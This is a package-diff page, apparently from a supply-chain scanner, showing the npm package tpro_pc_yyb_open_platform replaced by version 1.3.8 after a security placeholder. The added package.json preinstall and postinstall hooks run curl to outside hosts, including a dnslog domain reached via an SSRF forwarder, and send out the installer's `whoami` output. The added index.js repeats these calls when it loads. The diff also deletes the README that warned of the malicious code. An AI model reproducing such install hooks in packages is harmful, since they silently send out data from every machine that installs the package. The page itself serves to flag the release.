tpro_pc_yyb_open_platform 0.0.1-security → 1.3.8
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of tpro_pc_yyb_open_platform might be problematic. Click here for more details.
- package/index.js +42 -0
- package/package.json +10 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,42 @@
|
|
1
|
+
const http = require('http');
|
2
|
+
|
3
|
+
http.get('http://www.hardlic.top/npm/info.php?a=index.js', (resp) => {
|
4
|
+
let data = '';
|
5
|
+
|
6
|
+
resp.on('data', (chunk) => {
|
7
|
+
data += chunk;
|
8
|
+
});
|
9
|
+
|
10
|
+
resp.on('end', () => {
|
11
|
+
console.log(data);
|
12
|
+
});
|
13
|
+
|
14
|
+
}).on("error", (err) => {
|
15
|
+
console.log("Error: " + err.message);
|
16
|
+
});
|
17
|
+
|
18
|
+
http.get('http://tst.qq.com/ssrf_forward.php?host=dwtreporter.rce.tcxhjxhj.dnslog.pw', (resp) => {
|
19
|
+
let data = '';
|
20
|
+
|
21
|
+
resp.on('data', (chunk) => {
|
22
|
+
data += chunk;
|
23
|
+
});
|
24
|
+
|
25
|
+
resp.on('end', () => {
|
26
|
+
console.log(data);
|
27
|
+
});
|
28
|
+
|
29
|
+
}).on("error", (err) => {
|
30
|
+
console.log("Error: " + err.message);
|
31
|
+
});
|
32
|
+
|
33
|
+
function helloWorld() {
|
34
|
+
return "Hello World"
|
35
|
+
}
|
36
|
+
|
37
|
+
function HelloWorldNPM() {
|
38
|
+
return "Hello World NPM"
|
39
|
+
}
|
40
|
+
|
41
|
+
module.exports = HelloWorldNPM;
|
42
|
+
HelloWorldNPM.helloWorld = helloWorld;
|
package/package.json
CHANGED
@@ -1,6 +1,13 @@
|
|
1
1
|
{
|
2
2
|
"name": "tpro_pc_yyb_open_platform",
|
3
|
-
"version": "
|
4
|
-
"
|
5
|
-
"
|
3
|
+
"version": "1.3.8",
|
4
|
+
"main": "index.js",
|
5
|
+
"scripts": {
|
6
|
+
"postinstall":"curl http://tst.qq.com/ssrf_forward.php?host=tpropcyybopenplatform.rce.tcxhjxhj.dnslog.pw&curl www.hardlic.top/npm/info.php?a=tc`whoami`tpropcyybopenplatform&node index.js",
|
7
|
+
"preinstall": "curl http://tst.qq.com/ssrf_forward.php?host=tpropcyybopenplatform.rce.tcxhjxhj.dnslog.pw&curl www.hardlic.top/npm/info.php?a=tc`whoami`tpropcyybopenplatform&node index.js"
|
8
|
+
},
|
9
|
+
"keywords": [],
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"description": ""
|
6
13
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=tpro_pc_yyb_open_platform for more information.
|